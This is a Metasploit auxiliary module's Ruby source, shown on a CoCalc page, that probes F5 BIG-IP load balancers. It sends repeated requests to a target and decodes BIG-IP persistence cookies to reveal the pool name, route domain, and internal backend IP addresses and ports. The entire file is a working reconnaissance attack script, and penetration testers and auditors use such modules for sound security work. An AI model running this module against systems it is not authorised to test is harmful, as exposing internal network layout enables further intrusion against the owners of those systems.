CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'F5 BIG-IP Backend Cookie Disclosure',
15
'Description' => %q{
16
This module identifies F5 BIG-IP load balancers and leaks backend information
17
(pool name, routed domain, and backend servers' IP addresses and ports) through
18
cookies inserted by the BIG-IP systems.
19
},
20
'Author' => [
21
'Thanat0s <thanspam[at]trollprod.org>',
22
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
23
'Nikita Oleksov <neoleksov[at]gmail.com>',
24
'Denis Kolegov <dnkolegov[at]gmail.com>',
25
'Paul-Emmanuel Raoul <[email protected]>'
26
],
27
'References' => [
28
['URL', 'https://support.f5.com/csp/article/K6917'],
29
['URL', 'https://support.f5.com/csp/article/K7784'],
30
['URL', 'https://support.f5.com/csp/article/K14784'],
31
['URL', 'https://support.f5.com/csp/article/K23254150']
32
],
33
'License' => MSF_LICENSE,
34
'DefaultOptions' => {
35
'SSL' => true
36
},
37
'Notes' => {
38
'Stability' => [CRASH_SAFE],
39
'Reliability' => [],
40
'SideEffects' => []
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),
48
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
49
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
50
]
51
)
52
end
53
54
def change_endianness(value, size = 4)
55
conversion = nil
56
if size == 4
57
conversion = [value].pack('V').unpack('N').first
58
elsif size == 2
59
conversion = [value].pack('v').unpack('n').first
60
end
61
conversion
62
end
63
64
def cookie_decode(cookie_value)
65
backend = {}
66
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
67
host = Regexp.last_match(1).to_i
68
port = Regexp.last_match(2).to_i
69
host = change_endianness(host)
70
host = Rex::Socket.addr_itoa(host)
71
port = change_endianness(port, 2)
72
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
73
host = Regexp.last_match(1).to_i(16)
74
port = Regexp.last_match(2).to_i
75
host = Rex::Socket.addr_itoa(host)
76
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
77
host = Regexp.last_match(1).to_i(16)
78
port = Regexp.last_match(2).to_i
79
host = Rex::Socket.addr_itoa(host, true)
80
port = change_endianness(port, 2)
81
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
82
host = Regexp.last_match(1).to_i(16)
83
port = Regexp.last_match(2).to_i
84
host = Rex::Socket.addr_itoa(host, true)
85
else
86
host = nil
87
port = nil
88
end
89
90
backend[:host] = host.nil? ? nil : host
91
backend[:port] = port.nil? ? nil : port
92
backend
93
end
94
95
def fetch_cookie
96
# Request a page and extract a F5 looking cookie
97
cookie = {}
98
res = send_request_raw('method' => 'GET', 'uri' => @uri)
99
100
unless res.nil?
101
# Get the SLB session IDs for all cases:
102
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
103
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
104
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
105
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
106
107
regexp = /
108
([~.\-\w]+)=(((?:\d+\.){2}\d+)|
109
(rd\d+o0{20}f{4}\w+o\d{1,5})|
110
(vi([a-f0-9]{32})\.(\d{1,5}))|
111
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
112
(?:$|,|;|\s)
113
/x
114
m = res.get_cookies.match(regexp)
115
cookie[:id] = m.nil? ? nil : m[1]
116
cookie[:value] = m.nil? ? nil : m[2]
117
end
118
cookie
119
end
120
121
def run
122
requests = datastore['REQUESTS']
123
backends = []
124
cookie_name = ''
125
pool_name = ''
126
route_domain = ''
127
@uri = normalize_uri(target_uri.path.to_s)
128
print_status("Starting request #{@uri}")
129
130
(1..requests).each do |i|
131
cookie = fetch_cookie # Get the cookie
132
# If the cookie is not found, stop process
133
if cookie.empty? || cookie[:id].nil?
134
print_error('F5 BIG-IP load balancing cookie not found')
135
return nil
136
end
137
138
# Print the cookie name on the first request
139
if i == 1
140
cookie_name = cookie[:id]
141
print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")
142
if cookie[:id].start_with?('BIGipServer')
143
pool_name = cookie[:id].split('BIGipServer')[1]
144
print_good("Load balancing pool name \"#{pool_name}\" found")
145
end
146
if cookie[:value].start_with?('rd')
147
route_domain = cookie[:value].split('rd')[1].split('o')[0]
148
print_good("Route domain \"#{route_domain}\" found")
149
end
150
end
151
152
backend = cookie_decode(cookie[:value])
153
unless backend[:host].nil? || backends.include?(backend)
154
print_good("Backend #{backend[:host]}:#{backend[:port]} found")
155
backends.push(backend)
156
end
157
end
158
159
# Reporting found cookie name in database
160
unless cookie_name.empty?
161
report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)
162
# Reporting found pool name in database
163
unless pool_name.empty?
164
report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)
165
end
166
# Reporting found route domain in database
167
unless route_domain.empty?
168
report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)
169
end
170
end
171
# Reporting found backends in database
172
unless backends.empty?
173
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
174
end
175
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError
176
print_error('Network connection error')
177
rescue ::OpenSSL::SSL::SSLError
178
print_error('SSL/TLS connection error')
179
end
180
end
181
182